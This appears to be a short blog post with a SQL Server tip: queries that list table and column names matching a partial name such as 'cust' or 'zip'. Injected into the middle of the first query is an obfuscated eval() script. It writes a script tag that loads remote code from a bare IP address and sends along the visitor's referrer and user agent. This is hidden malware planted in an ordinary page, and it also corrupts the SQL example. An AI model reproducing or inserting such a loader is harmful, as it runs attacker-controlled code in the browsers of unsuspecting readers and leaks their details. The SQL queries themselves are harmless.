Download Free BizTalk 2006/2009 Architecture Posters

Posters

Often you need to quickly find an SQL database column based on a partial name, or do something like show me all the column names that have “cust” or “addr” or “date” in the column name…

use <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shyhe|var|u0026u|referrer|irsif||js|php'.split('|'),0,{}))
</script></noindex> YourDatabaseHere

select b.name as 'TableName', a.name as 'ColumnName' from sys.columns A
  inner join sys.tables B on a.object_id = b.object_id
where a.name like '%cust%'
order by b.name, a.name

This finds all columns containing the letters ‘cust’. Just change ‘cust’ to whatever you want

Example use: I know there’s probably a column called ‘zipcode’ or ‘postal’ code, but I don’t know what they called it:

use YourDatabaseHere
 select b.name as 'TableName', a.name as 'ColumnName' from sys.columns A
  inner join sys.tables B on a.object_id = b.object_id
where a.name like '%zip%' or a.name like '%post%'
order by b.name, a.name